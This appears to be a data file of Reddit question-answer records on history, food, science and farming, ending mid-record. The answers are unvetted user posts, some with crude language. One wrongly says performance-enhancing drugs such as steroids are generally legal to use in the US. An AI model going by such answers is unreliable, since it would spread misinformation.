{"q_id": "2yyila", "title": "According to Podcast History of Our World, the Sumerians taught geography in their school system. How much of the world did they know about and what would they be expected to learn?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2yyila/according_to_podcast_history_of_our_world_the/", "answers": {"a_id": ["cpfde7i"], "score": [3], "text": ["So the term \"Sumerian school system\" is problematic to say the least for reasons I don't have time at the moment to address, and it seems doubtful to me that geography as a distinct discipline was taught.. But I will briefly comment on geography and its terms. To the south and southeast were dilmun, a distant and exotic land now identified with modern Bahrain, and Magan and Meluhha, possibly the Indus Valley Culture, mainly identified as a source of exotic raw materials. To the west lay the Zagros, a land defined by barbarians and people outside the pale of civilzation, and the fantastical land of Aratta, which was more or less a stand in for the edge of the inhabited world. To the northeast lay the area of the Cedar Forest, mainly modern Syria and Lebanon, as well as the Upper Sea. This region was also home to several important kingdoms and city-states with which Sumerians traded. In the Center was Sumer itself, the core of the civilized word. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "o1ks7", "title": "the difference between ginger beer and ginger ale.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/o1ks7/eli5_the_difference_between_ginger_beer_and/", "answers": {"a_id": ["c3dnomq", "c3dnpk0"], "score": [4, 4], "text": ["according to Wikipedia, it seems the only modern difference is the amount of ginger flavor. Ginger beer generally has more ginger flavor than Ginger ale, and is sometimes described as \"ginger ale with a kick.\"\n\nsource: _URL_0_", "Ginger Beer (and not ginger soda labeled ginger beer) is a fermented alcoholic beverage made by fermenting water, sugar, lemon and ginger with something called a Ginger Beer Plant (a glob of yeasts and bacteria), or alternately champagne yeast for non-traditional varieties. \n\nGinger Ale is a carbonated beverage made with sugar, water and ginger (or ginger flavoring) and contains no alcohol.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ginger_beer"], []]}
{"q_id": "6l4jnb", "title": "Why do some older authors put a line through all but the first letter of some of the names in their works?", "selftext": "I don't know if this is the place to get the best answers to this question, but hopefully someone here can help me. Why is it that, when writing out full names, some authors, especially in the 19th century, have a tendency to run a line through all but the first letter of he name? For example, in Jules Verne's \"Five Weeks in a Balloon,\" Verne spells out completely the name of Dr. Samuel Ferguson, but names the president of the Royal Geographical Society as Sir Francis M----. Similarly, Poe has many poems titled as \"To M---\" or \"To F--S S. O--D.\" \n\nHopefully, someone can provide some insight for me, whether through explaining it as individual quirks of the authors or enlightening me as to what changed between then and now that the practice fell out of fashion. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6l4jnb/why_do_some_older_authors_put_a_line_through_all/", "answers": {"a_id": ["djr32np"], "score": [765], "text": ["It was a practice supposedly for anonymity, or at least tact; you'll also see a common practice where part of the date is left out, as in \"192-\". Many writers of the 18th-20th century wrote with the narrative pretense or framing device that their works were true stories, however uncanny, and that they were merely relating the tale - it was a way to help the reader suspend disbelief (and, if they referred to real persons, a way to avoid being sued). John Barth in [\"Lost in the Funhouse\"](_URL_0_) [PDF] (1980) specifically calls attention to it:\n\n >  Initials, blanks, or both were often substituted for proper names in nineteenth century fiction to enhance the illusion of reality. It is as if the author felt it necessary to delete the names for reasons of tact or legal liability. Interestingly, as with other aspects of realism, it is an illusion that is being enhanced, by purely artificial means. \n\nOther authors would go into detail about how the names they used were not the actual names of those involved - for example, pulp writer A. Merritt in \"Three Lines of Old French\" (1919) wrote:\n\n >  There were four of us in front of the fireplace of the Science Club - Hawtry, who rules the chair of psychology in one of our greatest colleges, and whose name is an honored one throughout the world; Latour, an immortal of France; McAndrews, the famous American surgeon whose work during the war has written a new page in the shining book of science; and myself. These are not the names of the three, but they are as I have described them; and I am pledged to identify them no further.\n\nThis was a not-uncommon practice at least as late as the 1950s, when the television show *Dragnet* would assert that:\n\n >  Ladies and gentlemen, the story you are about to see is true. The names have been changed to protect the innocent.\n\nIt's tricky to say why it fell out of fashion without going into speculation; the rhetorical and literary device of a \"true relation\" where the details of who is involved are obscured appear to have fallen out of favor as stories tended to get more direct - at least in the area of popular fiction - with pseudonyms and aliases find better favor than blanks. This was, at least, the case with many \"confession\" style pulps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://dudley.harvard.edu/files/dudley/files/barth_-_lost_in_the_funhouse.pdf"]]}
{"q_id": "9d127k", "title": "Both the Byzantines and the Ottomans made a vassal out of the Crimean Peninsula, yet the Russians annexed it in 1783. Why did the former states not annex it? Was it THAT inhospitable or was something else at play?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9d127k/both_the_byzantines_and_the_ottomans_made_a/", "answers": {"a_id": ["e5fr5mo"], "score": [8], "text": ["I don't know about the Byzantine case, but I'll try to answer the Ottoman ones. The reason why the Ottomans chose to made Crimea her vassal had to do with how the Ottomans vassalized Crimea. The Crimean Khanate was founded in the 1440s by Hajji Giray, the descendant of Genghis Khan's grandson Toka Tem\u00fcr. After his death, the Khanate fell into a civil war between his sons Mengli Giray and Nurdevlet. Nurdevlet, supported by the Great Horde and Genoa managed to beat Mengli Giray, who then later escaped to Caffa and sought help to the Ottomans who were also battling the Genoese. After the fall of Caffa and Azov in 1475, the Ottomans restored Mengli Giray to the throne, but as an Ottoman vassal. The ascension of Mengli Giray as an Ottoman vassal linked the Crimean Khanate and the Ottoman Empire on the basis of mutual interest, the Khanate was generally independent in terms of their foreign and internal affairs and enjoyed Ottoman protection, but they had to pay tribute and provide troops for Ottoman campaigns. Even this independence was becoming more and more limited as time goes on, where in the 17th century the influence of the khans had been severely limited by Ottoman intervention who could dismiss and appoint khans to their will, and the election of the new khan by the Tatar tribes is only for formality. \n\nThe Ottoman method of giving vassalage or suzerainty to local ruler isn't unusual for the Ottomans, who often did not remove the dynasties that had ruled in pre-Ottoman times, but instead maintained them as vassals under Ottoman suzerainty as in the case of Wallachia, Moldavia, and various Anatolian clans before their annexation\n\nThat's also kinda the case for Russia after the war of 1768-74. In the treaty of K\u00fc\u00e7\u00fck Kaynarca, The Russians didn't immediately annex the Crimean Khanate, but only gave them \"independence\" and appointed \u015eahin Giray, Khan loyal to Russia. Only after the Ottomans violated the treaty of K\u00fc\u00e7\u00fck Kaynarca by supporting \u015eahin Giray's rival claimant Devlet Giray then the Russians annexed Crimea.\n\nSources:\n\n*\"The Ottoman Empire and The World Around it\"* by Suraiya Faroqhi\n\n*\"The Encyclopedia of Ottoman Empire\"* by Gabor Agoston et al "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9c77rk", "title": "how are websites that sell anabolic steroids not shut down by the feds if possession or distribution of such products are illegal? specifically in the us.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9c77rk/eli5_how_are_websites_that_sell_anabolic_steroids/", "answers": {"a_id": ["e58k80m", "e58k94p"], "score": [4, 3], "text": ["In general, performance enhancing drugs are legal to use, it's just that most competitions and athletic associations forbid their participants to do so and will disqualify users to ensure a fair competition. However, if you don't intend to participate in competitions and don't care about your long-term health, you're free to use them.", "Basically it\u2019s low on the totem pole despite being illegal.  They have more important things to deal with."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "sygw6", "title": "Is there any truth to \"According to physics a bumblebee shouldn't be able to fly\".", "selftext": "I've heard this saying quite a few times in my life and to be quite honest I never quite understood how it could be true; however, I'm no physicist nor am I an entomologist so I figure it would be worth asking.\n\nFurthermore if the statement is false how did this idea come about and why has it become wide spread?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sygw6/is_there_any_truth_to_according_to_physics_a/", "answers": {"a_id": ["c4i12fu", "c4i12ob", "c4i13iz", "c4i2au1", "c4i2bit", "c4i3z35"], "score": [16, 10, 45, 10, 5, 14], "text": ["No, it isn't true in any way. We've thrown far more complex and strenuous tests at our versions of the laws of physics than a bee in flight, and they've stood up really quite well so far.", "Ok I looked it up. For a while the \"faithful\" among the scientific community Believedthat the bumblebee was proof of gods existence because it's wings are miniscule compared to it's body, and if we built an airplane like the bumblebee it would never make it off the ground. However the bumblebee doesn't fly like an airplane. It's wings fly much more like a helicopter, and this link has the specifics. _URL_0_", "It's just bs perpetuated by people who like to show how science can't know everything.\n\n_URL_0_\n\n >  One set of accounts suggests that the story first surfaced in Germany in the 1930s. One evening at dinner, a prominent aerodynamicist happened to be talking to a biologist, who asked about the flight of bees. To answer the biologist's query, the engineer did a quick \"back-of-the-napkin\" calculation.\n\n >  To keep things simple, he assumed a rigid, smooth wing, estimated the bee's weight and wing area, and calculated the lift generated by the wing. Not surprisingly, there was insufficient lift. That was about all he could do at a dinner party. The detailed calculations had to wait. To the biologist, however, the aerodynamicist's initial failure was sufficient evidence of the superiority of nature to mere engineering.\n\n", "Even if it were true, which it is not, the bumblebee would not be violating the laws of physics, but rather our limited understanding of the laws of physics.", "From Wikipedia's awesome [list of common misconceptions](_URL_0_):\n\n >  The flight mechanism and aerodynamics of the bumblebee (as well as other insects) are actually quite well understood, in spite of the urban legend that calculations show that they should not be able to fly. In the 1930s, the French entomologist Antoine Magnan, using flawed techniques, indeed postulated that bumblebees theoretically should not be able to fly in his book Le Vol des Insectes (The Flight of Insects).[166][167] Magnan later realized his error and retracted the suggestion. However, the hypothesis became generalized to the false notion that \"scientists think that bumblebees should not be able to fly\".", "No, because then bumblebees wouldn't be able to fly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.straightdope.com/columns/read/1076/is-it-aerodynamically-impossible-for-bumblebees-to-fly"], ["http://www.sciencenews.org/view/generic/id/5400/title/Math_Trek__Flight_of_the_Bumblebee"], [], ["http://en.wikipedia.org/wiki/List_of_common_misconceptions#Biology"], []]}
{"q_id": "2nk0g6", "title": "if we eat chicken eggs and chicken in mass consumption. why do we eat turkey but not turkey eggs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nk0g6/eli5if_we_eat_chicken_eggs_and_chicken_in_mass/", "answers": {"a_id": ["cmeadtg", "cmeb17m", "cmeb90q", "cmecpej", "cmecrhq", "cmecrwl", "cmedaak", "cmee4w3", "cmeebx9", "cmeecos", "cmeelbb", "cmeesfc", "cmefbru", "cmefh7a", "cmeftom", "cmefyai", "cmeg0fa", "cmeg23u", "cmeg2mz", "cmeglwu", "cmegpyc", "cmegrr2", "cmeh5au", "cmeh6jn", "cmehf0v", "cmehmsw", "cmehyb7", "cmehz2p", "cmei2f6", "cmei5p8", "cmeifr8", "cmeigg3", "cmej87c", "cmek10r", "cmek3cy", "cmeli2b", "cmelwm0", "cmeme95", "cmen9ft", "cmeo2si", "cmeonij", "cmeovp5", "cmepzw8", "cmeqgys", "cmer4y3", "cmet9j9", "cmeubic", "cmev1fq", "cmewnml", "cmeyyy0"], "score": [3476, 116, 756, 23, 106, 60, 865, 2, 13, 44, 3, 3, 2, 278, 2, 7, 2, 7, 2, 7, 36, 6, 3, 2, 10, 5, 10, 9, 2, 3, 2, 2, 4, 3, 2, 3, 3, 12, 2, 7, 2, 3, 3, 2, 3, 2, 9, 2, 11, 2], "text": ["Economics. Turkeys lay fewer eggs per year, take up a larger area, and don't get along as nicely with other turkeys. Plus, they take longer to lay their eggs.\n\nEdit: Wow... Didn't think I'd get this much attention. Now I feel bad for not correcting autospell issues. Fixed. ", "On a similar note, why do we not each much duck? I am in Asia right now and it is soooo much tastier than chicken! What is the reason for us not eating it?", "Because chickens were domesticated and raised to lay eggs. \n\nTurkeys were domesticated and selected to provide lots of meat\n\n A chicken can lay up to 12 eggs a week if properly lighted.  \n\nThat's as many eggs as a turkey lays in a year.\n\nThe profitable thing to do with turkey eggs is make more turkeys", "Because turkeys are cunts when you try to raise them", "Chickens in their prime will lay one egg per day and they begin laying at 5 months old. Chickens are very tame and easy to handle and relatively cheap to feed. Over the course of their lifetime they will lay enough eggs to offset the amount of food you would have gotten from just slaughtering it and eating the chicken.\n\nTurkeys are huge. They do not begin laying until 8 or 9 months old and then they only lay 2 eggs a week at their best. They are mean, nasty, and sometimes dangerous to handle. They eat a lot and lay a little. It's all about food in vs food out. It costs more to keep a turkey alive, healthy, and well fed in order to farm their eggs.\n\nAt a certain age turkeys are worth more dead than alive. ", "Turkeys are relatively undomesticated compared to other poultry. They only began being domesticated by Europeans and their American descendents during the Columbian Exchange around five centuries ago (because honestly, the indigenous American population didn't do such a great job, no offense). Chickens have been domesticated for thousands of years, thus they produce more eggs due to artificial selection. It's the same reason why most dogs are cute and loyal, and most wolves will attempt to chew your leg off.\n\nMaybe people will be eating turkey eggs for breakfast in 200 years. Who knows?\n\nSource: My uncle owns a farm.", "My neighbour keeps 3 or 4 turkeys for breeding.  They are massive, prehistoric, bad-tempered, ugly motherfuckers.  \n\nWhen they got into my garden I tried to shoo them off with a broom and it was like trying to push Schwarzenegger with a feather duster.  ", "I learned so much chicken-shit here today than I ever did at school", "Another reason for this that people aren't saying is that sterile male turkeys can be hatched from unfertilized eggs. That means that when you go to make some scrambled turkey eggs, you might just get some partially developed embryo's from those eggs. Starting your day with half-formed turkeys is something nobody wants.", "Damn.... My whole life I thought chickens were females and turkeys were males. I think I'll be able to let that go though, I have a new life quest of making a turkey egg omelet with bits of turkey meat in it.  ", "My family has been doing turkey farms for years (think 20K turkeys per barn, multiple multiple barns).\n\nThe answer is you actually do and don't know it. Commercial products use them a lot, because they are simply a lot bigger than chicken eggs.\n\nSome stores you can go buy them in, but the reason why they are not really big is the same reason as why stores don't sell other types of eggs.\n\nMost people don't like them.  They taste very different from chicken eggs, they smell different, they feel different.\n\nedit: Started counting the barns in my family, and it's almost 24 barns with an average of around 15K birds per barn.", "TIL people who know a lot about chickens and turkeys don't know a lot about grammar. ", "Growing up, a neighbor of mine had an ostrich. Apparently they're really aggressive. He had to sneak into its fenced in area to grab the eggs and hope not to get attacked. And the eggs were huge! Over 2 lbs each. Their family ate them. Finally they couldn't handle the asshole anymore, so one day some ranchers came with a hauler and put a bag over its head and took it away. It didn't look fun. ", "Heritage turkey farmer here... The economics isn't just because of the number of eggs laid, size or the like, it's because I can get $9/poult wholesale or $14/poult retail, $25-$30 for an adolescent and $40-$80 for a table ready mature bird. Just looking at the income you can get from selling 1-7 day old poults, eating eggs instead of hatching them out is like eating eggs priced at $108-$168/dozen. Also, the vast majority of turkeys raised are big breasted varieties who haven't reached laying age by processing time and, because of their size, cannot naturally reproduce like heritage birds. All White and Bronze factory birds (grocery store birds) must be artificially inseminated to yield fertile eggs so their hatched eggs have a large final value too. BONUS THANKSGIVING FYI, factory birds specifically raised for meat production have a short optimum lifespan. They can actually grow too big if left alive for too long when being fed for the table. These birds can, if left to live beyond 12-16 weeks, get so big they can't even get up get up and some suffer broken legs from their excessive weight. They are usually hatched and shipped as day old poults to farmers in July and explode to 20+ pounds in just over 3 months, because they are genetically designed to put an unhealthily (sp?) disproportionate amount of growth into meat production, Heritage birds like the Narragansetts or the other heritage birds we raise grow much more slowly, only reaching full size (33 lbs live weight, 14-15 lbs table weight) after 7-8 months bc they put a lot of energy into organ and skeletal development just like wild turkeys. ", "not gonna lie....i never even thought about it but turkeys lay eggs....im 24 and just realized this today....shit", "because you cant throw a turkey in a 1x1 foot square cage and expect it to live and lay eggs.  ..Turkey eggs are great,big too ", "My question is why can't I get buffalo style turkey wings? That would be awesome! ", "Because they\u2019re expensive. Chicken hens are egg-laying dynamos, dropping one almost every day, while a turkey produces only about two per week. Chickens begin laying eggs at about five months of age, but turkeys don\u2019t have their first cycle until more than two months later.", "Do you think turkey eggs would make us as sleepy as turkey on thanksgiving? That wouldn't be good for breakfast... right back to bed.\nOn second thought, I am okay with this.", "Chickens are the one domesticated bird that no longer has strong seasonality with egg production rates. Colonists to America could catch wild ducks and turkeys then feed scraps so financial impact was not a key factor for the family on the edge of Westward expansion. The lack of egg production beyond springtime was an issue. Chickens were not as hardy yet would lay some eggs every week whether spring or not. Winter was a dangerous time for food shortages so having a chicken laying eggs was a survival mechanism. You could always eat the chicken.", "I literally didn't know turkeys even laid eggs\n\nAm I retarded", "Also important to note is that we don't eat the same chickens that lay the eggs we buy. ", "If you've never had duck eggs you should try them they're awesome but not mass produced.", "A quick Google search for \"why don't we eat Turkey eggs\" turned up this preview of a BBC article at the top:\n\n\"7-8 million turkeys are eaten in the UK each Christmas Day, but their eggs are never sold in shops. The main reason is that turkeys lay less than chickens (around 110 turkey eggs per year as opposed to 300 chicken eggs) so they are relatively expensive and are invariably kept for breeding.\"", "My neighbor gave me some turkey eggs that were quite good. A little off topic, however I saw a great documentary on PBS called\n\"My Life as a Turkey\" that was quite good. ", "Is it weird that i never really thought of turkeys as animals that were born/hatched? They've always just seemed like they exist in their adult form. I've never even seen a baby Turkey now that i think about it...\n\nEdit: _URL_0_ ", "3 Reasons!\n1. Turkeys are larger and therefore cost more to house for egg laying;\n2. Turkeys lay fewer eggs per year than chickens and therefore cost more; and\n3. Turkeys have not been bred the way chickens have and turkeys have a emotional response to having their eggs removed from their nest. (Think like how penguins freak out when they lose their egg.)", "I'm not a poultry farmer but I know some about animals, and I suspect that the reason turkeys aren't farmed for eggs is that they are enormous assholes.\n\nSure, chickens can be difficult from time to time, but they are actually really sweet-natured by comparison with turkeys. The sad truth is that the more time you spend around turkeys (and cows also, btw) the more at ease you will be about killing them for meat. When a creature draws a certain amount of blood from you, you begin thinking \"I'm *glad* we eat you, you dirty prick!\"", "I just had hard boiled quail eggs recently. They are tiny, but they were delicious. ", "Actually, when we raised Turkeys, they kept up with our chickens and ducks on production, about one egg a day from our birds. We let the roam our property, but they would always lay in one spot (turkeys) so it was easy getting the eggs, but we only took eggs when we had like 8-10 hens trying to hatch a batch We would have been overwhelmed if we had let them succeed in doing so. We all loved  the eggs we got from them since they are very large and very tasty, but I think the comment on economics is why you don't see them in the store. A chicken will lay an egg sooner than our turkeys did, which means you have to feed them longer to get the egg, so they cost more to get to egg production age, it took our a year before they would lay a clutch. Where as our chickens start laying around 26 weeks (6 months).", "Commercial turkeys are slaughtered at an average age of 17 weeks. Hens start laying at about 28 weeks. they're worth more as meat than egg layers unless they are breeders so....most hens are processed well before they lay. ", "I remember reading in one of the Uncle John's Bathroom Reader (aka the source of all trivia) that they taste pretty terrible, because they don't have nearly as much water in them as chicken eggs.", "I would think that it's simple economics.  You can feed chickens for the cost of chicken feed; turkeys eat much more.  More chicken eggs per unit of food than turkey eggs.", "So people do eat turkey eggs. But they don't lay enough for mass consumpton.", "And here I was about to say turkeys are actually male chickens.", "Massive, prehistoric, ugly, bad tempered motherfuckers. \n\nI think Ben Franklin was trying foreshadow to a future America when he wanted to pick the turkey as the national bird. ", "When it comes to chickens laying hens (the ones that we get eggs from), are different than meat birds.\n\nLaying hens are smaller, they use all of the resources they consume (food, water) to create eggs. \n\nMeat birds are usually killed before they reach maturity, and begin to produce eggs. They have been selectively bread to grow quickly, and produce large breasts. (Seriously, they grow so big, so fast that their legs break because they can't support their weight, and even then, if you let them, they would just lie at their food dish and continue to eat.)\n\nSo, essentially, we have selectively bread different breeds of chickens, for different purposes. We have not done this with turkeys. If I had to guess, why we have not done this with turkeys, I would say it's likely because turkeys are naturally larger, and take up more room, and more resources to produce, making them less apt for egg production. (Plus turkeys, are seriously the grossest bird.)\n\nSource: I grew up on a small farm. We had turkeys, and chickens, and more chickens.", "Going to be completely honest here, I have never thought about turkey eggs ever until this moment. ", "And horses but not horse eggs???", "_URL_1_ ripped you off 9 hours into the post: _URL_0_", "I've had goose and quail eggs. Quail eggs are just tiny chicken eggs, no taste difference. The whites of goose eggs have a different texture, they're kinda foamy, for lack of a better descriptive term. And the yolk:egg white ratio is higher.", "Wikipedia says: \n\nUnlike chicken, duck, and quail eggs, turkey eggs are not commonly sold as food due to the high demand for whole turkeys and lower output of eggs as compared with other fowl. The value of a single turkey egg is estimated to be about US $3.50 on the open market, substantially more than a carton of one dozen chicken eggs.", "Thought about opening a turkey wings joint.. They are bigger and meatier.. And you know they got a lot of extras laying around after making turkey breast lunch meat etc.", "It has a lot to do with the thickness of the shell. If a shell is too thick, they're harder to crack, too thin and moving them around becomes a problem. ", "my buddy had ostriches for a while when we were younger.  one day we decide to bake a cake using ostrich eggs instead of regular eggs.  tasted the same as always.  ", "Obviously turkeys lay eggs, but I had to stop and think for a second to figure out if they actually do.", "Because they\u2019re expensive. Chicken hens are egg-laying dynamos, dropping one almost every day, while a turkey produces only about two per week. Chickens begin laying eggs at about five months of age, but turkeys don\u2019t have their first cycle until more than two months later.   \nSource:_URL_0_", "They don't lay as many eggs, they are expensive to feed and difficult to keep. Financially it wouldn't be worth it because it would cost more to feed and house them than you could get back from their eggs.", "My immediate thought was \"whoa turkeys lay eggs?\" \n\nBecause apparently I don't know how poultry reproduction works. ", "Turkey consumption doesn't come any where near to chicken consumption...\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://upload.wikimedia.org/wikipedia/commons/a/a6/Baby_turkey_in_FL.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.slate.com/articles/life/explainer/2012/11/why_don_t_we_eat_turkey_eggs_the_differences_among_chicken_duck_goose_and.html", "Slate.com"], [], [], [], [], [], [], ["http://www.slate.com/articles/life/explainer/2012/11/why_don_t_we_eat_turkey_eggs_the_differences_among_chicken_duck_goose_and.html"], [], [], []]}
{"q_id": "5llyze", "title": "what is bioremediation and what is it used for?", "selftext": "Bioremediation seemed interesting and I wanted to learn about it more. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5llyze/eli5what_is_bioremediation_and_what_is_it_used_for/", "answers": {"a_id": ["dbwnweb"], "score": [2], "text": ["In what context? There are lots of contexts for this. One example might be though:\n\nYou take a large pond full of all sorts of contaminants, throw in \"the right kind\" of bacteria, which can accumulate large quantities of the thing you want (say a metal like cadmium) within itself. You then separate the bacteria from the rest and have removed cadmium from the pond. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24vzxv", "title": "How often did heads of state (Hitler, Churchill, Stalin) visit the front lines in WW2?", "selftext": "In Guderian's \"Panzer Leader\" he mentions early on that Hitler visited the front less and less frequently as the war dragged on and \"by doing so he lost contact with the feelings of the troops.\" Is this true of other heads of state?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24vzxv/how_often_did_heads_of_state_hitler_churchill/", "answers": {"a_id": ["chbfvyn", "chbikzl", "chblklg", "chbphee", "chbspje"], "score": [80, 73, 35, 10, 5], "text": ["Britain's head of state is the monarch, not the PM. During the war George VI and the Queen stayed in London and experienced the blitz. Buckingham Palace was actually bombed while they were in it. The King did visit the front, and was quite effective at raising morale. The royal family's reputation and popularity was somewhat enhanced by the war.", "When Stalin once wanted to visit the front of the battle in World War II, he was allowed to go 30 miles within it. But to be extra safe, the entire town that he visited was cleared of real people and filled with disguised NKVD agents who attempted to fool Stalin that they were collective farm workers. He soon realized this and asked to go closer, but his chief of security, Lavrentii Beria, forbade it.\n\nSource: Court of the Red Tsar by Simon Sebag-Montifiore. ", "Well it depends on what you mean by front lines.  Churchill visited Montgomery in Normandy 6 days after D-Day. In Triumph and Tragedy Churchill relates his recollection of that luncheon as follows:\n \n >  'We lunched in a tent looking towards the enemy. The General was in the highest of spirits. I asked him how far away was the actual front. He said about three miles. I asked if he had a continuous line.  He said \"No.\"  \"What is there then to prevent an incursion of German armour breaking up our luncheon?\"  He said he did not think they would come.'\n\nOn his way back from the meeting he persuaded the captain of the destroyer [HMS Kelvin](_URL_0_) to participate in the bombardment of the German coastal defenses.  He mentions that this is the only time he had ever been on board one of his majesty's ships when she fired \"in anger\".\n\nOf course this episode is memorable because it was not typical, so it is likely about as close as he ever came to the front while Prime Minister. ", "Churchill visited the frontline during Operation Plunder, the crossing of the Rhine in March 1945, and watched the airborne landings on the German side of the river on the 24th. \nOn the 25th, after badgering Montgomery to go and have a closer look, he crossed over to the other side of the river with Montgomery and some other officers in tow to an undefended strech and stayed there for half an hour. A trip futher up the river to the bombed out bridge at Wesel had to be abandoned when German guns started shelling them.\n\nI appolgise for the fact this is somewhat paraphrased from the Wikipedia article on Operation Plunder, but Max Hastings *Armagedon* (which I don't have to hand) gives a good account of how Churchill was extremly excited about being so close to the front, and the lengths he went to go behind Esienhowers back (who was opposed to him being there in the first place) when carrying out his trip across the river.\n\nEdit:Spelling", "Stalin made at least one visit to the front during the war. Following the battle of Kursk in 1943, he traveled to visit the front in early August. He made an appearance at Western Front HQ, and then Kalinin Front HQ. He didn't spend much time at either, and had no discussions with soldiers or lower ranking officers. According to Beevor, the purpose of the visit was simply so he could be able to say that he had. \n\nAdditionally, during the fall of 1941 as the Germans pressed towards Moscow, parts of the government fled to Kuibyshev, which was denoted as the 'backup' capital should Moscow fall. Stalin apparently was quite torn about whether to stay in Moscow or leave. For a time it seemed that the capital was to be abandoned, and Moscow degenerated into chaos for a few days, with widespread looting and panic. Stalin finally made up his mind after hearing of this, and made a public announcement that he would stay in Moscow. Order was restored, and Stalin started to make sure his presence was very public, which absolutely contributed to the morale of the public and their optimism for stalling the German offensive. While it wouldn't be right to call it a visit to the front, it was a conscious decision on the part of Stalin to stay in a city which was directly in the path of the German advance.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://commons.wikimedia.org/wiki/File:Winston_Churchill_and_General_Sir_Alan_Brooke,_Chief_of_the_Imperial_General_Staff,_on_the_bridge_of_HMS_KELVIN_during_a_visit_to_Normandy,_12_June_1944._A24024.jpg"], [], []]}
{"q_id": "ce7vdl", "title": "what are branched chain amino acids (bcaas)  &  if the supplement form is of any use.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ce7vdl/eli5_what_are_branched_chain_amino_acids_bcaas_if/", "answers": {"a_id": ["eu0w7mf"], "score": [3], "text": ["They are 3 of the essential amino acids, meaning they cannot be produced by the body. Leucine, isoleucine, and valine. They are also used in certain medical treatments. As long as you eat enough protein, whether it is animal or plant based, and don\u2019t have a disease that causes issues with them, you don\u2019t need to supplement. Even if you\u2019re body-building, you should be eating more protein anyway so should still not need extra. The effectiveness of supplements would depend on if the supplement actually contains what it says it does, which is a common issue with supplements, and also if you\u2019re not deficient, you\u2019re wasting money because our bodies do not store extra amino acids."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cw8oqg", "title": "what are vertical farms? how much produce can it generate compare to regular land?", "selftext": "How much does it cost run a vertical farm compare to regular land? Can third-world countries start using this technology instead of burning forests to make more land?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cw8oqg/eli5_what_are_vertical_farms_how_much_produce_can/", "answers": {"a_id": ["ey90nin", "ey90zte", "ey9e70z", "ey9gync"], "score": [6, 2, 3, 3], "text": ["it's considerably more expensive since you're not gonna get the yields of regular land and it requires more infrastructure to setup.  but you can get more density.  if you go to a grocery store, imagine all the shelves empty and replaced with potted plants in individual pots or in large planter boxes.  that's basically what it's like.  it's really only practical if land is at a premium or if you want to grow on a ship or indoors or something like that.  also doing this enmass and harvesting also becomes more complex/expensive.  it's best suited for local consumption and not for national/worldwide distribution.", "basically no, you cannot replace land area with vertical farms, because you will always need (sun) energy to power the plants/the light for the plants that are needed in towers. \n\nSo even if towers takes less land area, to be able to grow in all stories, you need artificial light. We want to be sustainable, so let\"s say we use solar power.\n\nProblems is that converting solar to electricity, we lose most of the energy, so we would need like ten times the area of solar plants to power a tower can produce the same amount of food as a classical fields with crops.", "In modern greenhouses the crops get everything they need in the exact quantity required for optimaal growth. Plants no longer grow in soil but on tables and their roots are in a substrate that is continuously fed with water that contains all their nutrients in the exact dosage for their age and time of day etc. As a result, the yield of a tomato plant can be 90 times larger than when grown in a conventional way.\n\nA vertical garden basically is a Greenhouse on steroids where even the amount and frequency of light is adjusted to the plant's needs. Not daylight but specially designed LED lights. As a result, the tables can be stacked in order to save space, further increasing the yield per square meter of available ground.\n\nEdited to add that while a vertical garden increases the yield per square meter, it also requires a considerable investment as well as a lot of energy, but in the end can be more profitable than conventional growth. And not all crops are suited for this method (Just think of palm trees for instance) So it may help to solve some problems but it is not a final solution. On the other hand, modern agricultural technology can easily double the yield of probably any field and crop, but the sad truth is that burning down rainforests is cheaper...", "Unfortunately the cost of setting up a vertical farm is quite substantial. The ongoing costs of operating a VF are larger as well since you need to power a lot of grow-lights and environmental control systems.\n\nHowever, there are a variety of mitigating factors to this, some of which will not apply to third-world countries.\n\nFor example, given the cost of rental space in skyscrapers, it has been noted that the average skyscraper actually has a lot of empty space (I seem to recall the statistic of an average of only around 2/3 occupancy rate in most skyscrapers.), so one proposal is to provide tax incentives (similar to other farmer supporting incentives) that help reduce the cost of them being in a skyscraper. The advantage of using an SS is that you can get multiple floors in the same horizontal footprint. Effectively a vertical vertical farm.\n\nSimilarly, one huge advantage that such a vertical farm would have is that it can supply the local groceries in the city without the long distance transport costs. This primarily an environmental cost in terms of fuel burned from the shipping trucks, however it is also an economic cost in terms of the price of the fuel.\n\nA properly administered VF also has other advantages over a traditional open farm. Namely that you have year-round grow cycles. One of the earlier large scale VFs in Japan was managing something like 3-3.5 full crop yields in a year. The controlled environment helps a lot as well for various reasons. In general you have a lot fewer instances of crop death since there aren't really any bugs/animals able to eat them, as well if a fungus or other pestilence affects some of your crop, the other VF floors to the structure are still isolated.\n\nThe long story short is that VFs are generally always going to be more expensive than a traditional open air flat farm, however you get a lot of benefits that may make it worthwhile to shift 